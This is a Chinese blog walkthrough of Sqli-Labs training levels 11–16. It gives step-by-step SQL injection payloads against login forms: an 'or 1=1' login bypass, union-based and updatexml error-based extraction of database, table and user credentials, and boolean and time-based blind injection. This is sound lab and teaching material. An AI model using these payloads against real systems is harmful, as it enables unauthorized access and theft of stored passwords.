Sqli-Labs靶场(11--16)题解析

目录

十一、Less-11:POST - Error Based - Single quotes - string(POST - 基于错误 - 单引号 - 字符串)

十二、Less-12:POST - Error Based - Double quotes - String - with twist(POST - 基于错误 - 双引号 - 字符串 - 括号)

十三、Less-13:POST - Double Injection - Single quotes - String - with twist(POST - 双查询注入 - 单引号 - 字符串 - 括号)

十四、Less-14:POST - Double Injection - Double quotes - String -(POST - 双查询注入 - 双引号 - 字符串)

十五、POST - Blind - Boolian/time Based - Single quotes(POST - 盲注 - 基于布尔/延时 - 单引号)

十六、POST - Blind - Boolian/time Based - Double quotes(POST - 盲注 - 基于布尔/延时 - 双引号)


十一、Less-11:POST - Error Based - Single quotes - string(POST - 基于错误 - 单引号 - 字符串)

做此题前先复习一个语句:

select username,password from users where username=' ' and password=' '

如果想在不知道数据库账号密码的情况下获取users用户的username,password

可以使用aaa' or 1=1-- +让原本的语句变成:

select username,password from users where username='aaa' or 1=1-- +' and password=' '

-- +讲后面的语句全部注释掉,由于or的存在,只需满足1=1为真

即可使整条语句在没有输入正确账号密码的情况下输出username,password

  • 判断注入点

在账号栏密码栏尝试输入admin,admin,页面回显正常

在账号栏密码栏尝试输入admin',admin,页面回显不正常

只在账号栏输入:admin' or 1=1-- +,页面回显正常

得出结论->注入点为'

  •  确认列数并进行查询

输入:admin' order by x-- +,当x=2时,页面回显正常

得出结论->列数为2

输入:-admin' union select 1,2-- +

得出结论->页面有1,2两个显示位

  • 爆破当前数据库名与数据库下表名

输入:-admin' union select database(),2-- +

得出结论->当前数据库名为'security'

输入:-admin' union select database(),(select group_concat(table_name) from information_schema.tables where table_schema='security')-- +

得出结论->'security'数据库下存在'emails','referers','uagent','users'表

以上,后面步骤跟Less1解题步骤大致相同,不在详细展示

输入:-admin' union select database(),(select group_concat(column_name) from information_schema.columns where table_name='users')-- +得到'users'表所有字段信息

输入:-admin' union select group_concat(username),group_concat(password) from users-- +得到'username','password'字段详细内容

十二、Less-12:POST - Error Based - Double quotes - String - with twist(POST - 基于错误 - 双引号 - 字符串 - 括号)

  • 判断注入点

在账号栏密码栏尝试输入admin,admin,页面回显正常

在账号栏密码栏尝试输入admin',admin,页面回显不正常

只在账号栏输入:admin' or 1=1-- +,页面回显不正常

得出结论->注入点类型非'

在账号栏密码栏尝试输入admin",admin,页面回显不正常

不过根据下方提示继续构造语句admin")-- +,页面回显正常

以上,只需将admin'更改为admin"),后面步骤跟Less11解题步骤相同,不在详细叙述

十三、Less-13:POST - Double Injection - Single quotes - String - with twist(POST - 双查询注入 - 单引号 - 字符串 - 括号)

  • 判断注入点

有了上一题的经验,这次我们直接输入:admin' or 1=1-- +,页面回显不正常

根据提示,我们再次输入admin') or 1=1-- + ,页面回显正常

  • updatexml报错

 进入后,我们发现没有回显内容,由此联想到此题和Less-5解题方式差不多,Less-5我们使用了group by重复报错,这里我们使用一个新的方式--updatexml报错

输入:admin') and updatexml(1,concat(0x7e,(database())),1)-- +,我们可以得到当前数据库名为'security'

 输入:admin') and updatexml(1,concat(0x7e,((select table_name from information_schema.tables where table_schema=database() limit x,1))),1)-- + ,依次更改limit x,1的x值,可以得到'security'数据库下所有表名:'emails','referers','uagents','users'

输入:admin') and updatexml(1,concat(0x7e,((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit x,1))),1)-- + ,依次更改limit x,1的x值,可以得到'users'表下所有字段名:'id','username','password'

 输入:admin') and updatexml(1,concat(0x7e,(select concat(username,'~',password) from security.users limit x,1)),1)-- + ,依次更改limit x,1的x值,可以得到'username','password'内所有内容\

十四、Less-14:POST - Double Injection - Double quotes - String -(POST - 双查询注入 - 双引号 - 字符串)

此题与Less-13类似,只需将Less-13的注入语句admin') or 1=1-- +更改为admin" or 1=1-- +即可

 

 

十五、POST - Blind - Boolian/time Based - Single quotes(POST - 盲注 - 基于布尔/延时 - 单引号)

十六、POST - Blind - Boolian/time Based - Double quotes(POST - 盲注 - 基于布尔/延时 - 双引号)

Less-15和Less-16一起讲,他们俩差别不大,Less-16只需将Less-15用到的'修改成"即可

这两题都有两种解法,一种是布尔盲注,一种是延时注入,这里以Less-15为例

  • 布尔盲注

输入:admin' and length((select database()))=8-- +,判断当前数据库长度

输入:admin' and ascii(substr(database(),1,1))=115-- +,依次修改第一个'1'的值,使用burp爆破得数据库名'security'

输入:admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101-- +,继续使用burp爆破,得出表名为:'emails','referers','uagents','users'

输入:admin' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=115-- +,继续使用burp爆破,得出'users'表下存在字段名:'id','username','password'

  • 延时注入

跟布尔盲注差不多,只需修改一下语句

输入:admin' and if(length(database())=8,sleep(3),1)-- +,当感觉到页面有明显的3s延时,说明当前数据库长度为8,其他语句大家自行修改,不在阐述

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值